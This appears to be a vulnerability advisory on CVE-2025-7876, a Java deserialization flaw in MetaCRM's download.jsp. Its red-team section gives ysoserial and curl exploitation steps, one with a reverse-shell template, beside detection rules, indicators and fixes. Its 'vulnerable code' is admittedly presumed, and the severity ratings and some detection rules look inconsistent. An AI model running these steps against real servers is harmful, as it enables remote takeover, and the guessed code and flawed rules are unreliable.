CVE-2025-7876

Executive Summary

CVE-2025-7876 is a critical deserialization vulnerability in Metasoft 美特软件 MetaCRM, affecting versions up to 6.4.2. The flaw resides in the AnalyzeParam function within download.jsp, where the p argument is unsafely deserialized without proper validation. This allows a remote, unauthenticated attacker to execute arbitrary code or perform malicious actions on the server. The exploit has been publicly disclosed, and the vendor has not responded to disclosure attempts, leaving the vulnerability unpatched. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the public availability of exploit details increases risk.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited data modification.
• Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: High due to public exploit availability and lack of patch.

Deep Dive & Mechanics

The vulnerability is a classic Java deserialization flaw (CWE-502). The download.jsp endpoint accepts a p parameter, which is passed to the AnalyzeParam function. This function likely uses ObjectInputStream.readObject() or similar to deserialize the input without any validation or filtering. An attacker can craft a malicious serialized Java object (e.g., using ysoserial) that, when deserialized, triggers arbitrary code execution via gadget chains like CommonsCollections or Spring.

The attack flow:

1. Attacker identifies a MetaCRM instance (e.g., via Shodan dork).
2. Attacker crafts a serialized payload using a tool like ysoserial.
3. Attacker sends a GET or POST request to download.jsp?p=<base64_encoded_payload>.
4. The server deserializes the payload, executing the attacker's code.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be:

// Vulnerable code in download.jsp
String p = request.getParameter("p");
Object obj = AnalyzeParam(p); // Unsafe deserialization

A patched version would implement input validation and use a safe deserialization method, such as:

// Patched code example
String p = request.getParameter("p");
if (p != null && isValidInput(p)) {
    // Use a whitelist of allowed classes
    Object obj = safeDeserialize(p);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Java Runtime Environment (JRE) on attacker machine.
• ysoserial tool (https://github.com/frohoff/ysoserial).
• Target MetaCRM instance (e.g., http://target.com/).

Steps:

1. Identify the target and confirm the endpoint:

   curl -v "http://target.com/download.jsp?p=test"
   

2. Generate a payload using ysoserial (e.g., CommonsCollections1):

   java -jar ysoserial.jar CommonsCollections1 'calc.exe' > payload.bin
   

3. Base64 encode the payload:

   base64 -w0 payload.bin > payload.b64
   

4. Send the exploit:

   curl -X POST "http://target.com/download.jsp" -d "p=$(cat payload.b64)"
   

5. Observe execution (e.g., calculator opens on Windows server).

Note: For Linux targets, use a reverse shell payload:

java -jar ysoserial.jar CommonsCollections1 'bash -c {echo,base64_encoded_rev_shell}|{base64,-d}|{bash,-i}' > payload.bin

Blue Team

Detection Steps:

1. Monitor for unusual download.jsp requests with large or base64-encoded p parameters.
2. Check for unexpected Java processes or network connections from the CRM server.
3. Review logs for deserialization errors or class loading anomalies.

Honeypot Setup:

• Deploy a fake MetaCRM instance and log all download.jsp requests.
• Use a sandboxed environment to analyze payloads.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /download.jsp with a p parameter containing base64-encoded data.
  • Outbound connections from the CRM server to attacker IPs (e.g., reverse shell).
• File System:
  • Unexpected files in /tmp or web root (e.g., ysoserial artifacts).
  • Modified Java class files or JARs.
• Process:
  • Unusual Java processes (e.g., java -jar ysoserial.jar).
  • Shell processes spawned by Java (e.g., bash, cmd.exe).
• Logs:
  • Java deserialization errors in application logs.
  • ClassNotFoundException for unexpected classes.

Detection Engineering

YARA Rule

rule CVE_2025_7876_MetaCRM_Deserialization {
    meta:
        description = "Detects serialized Java objects in HTTP requests to MetaCRM download.jsp"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7876"
    strings:
        $java_serial = { AC ED 00 05 }  // Java serialization magic bytes
        $base64_serial = /[A-Za-z0-9+/]{50,}={0,2}/  // Base64 encoded payload
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-7876 MetaCRM Deserialization Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to download.jsp with suspicious p parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'download.jsp'
        cs-uri-query|contains: 'p='
    condition: selection
falsepositives:
    - Legitimate file downloads
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7876 MetaCRM Deserialization Attempt"; flow:to_server; content:"download.jsp"; http_uri; content:"p="; http_uri; pcre:"/p=[A-Za-z0-9+/]{50,}={0,2}/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the MetaCRM server from the internet if possible.
2. Apply a Web Application Firewall (WAF) rule to block requests with base64-encoded p parameters.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Since no patch is available, consider migrating to an alternative CRM solution.
• If vendor provides a patch, apply immediately.
• Implement input validation and safe deserialization practices in custom code.

Workaround:

• Disable the download.jsp endpoint if not needed:

  <LocationMatch "/download.jsp">
      Require all denied
  </LocationMatch>
  

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert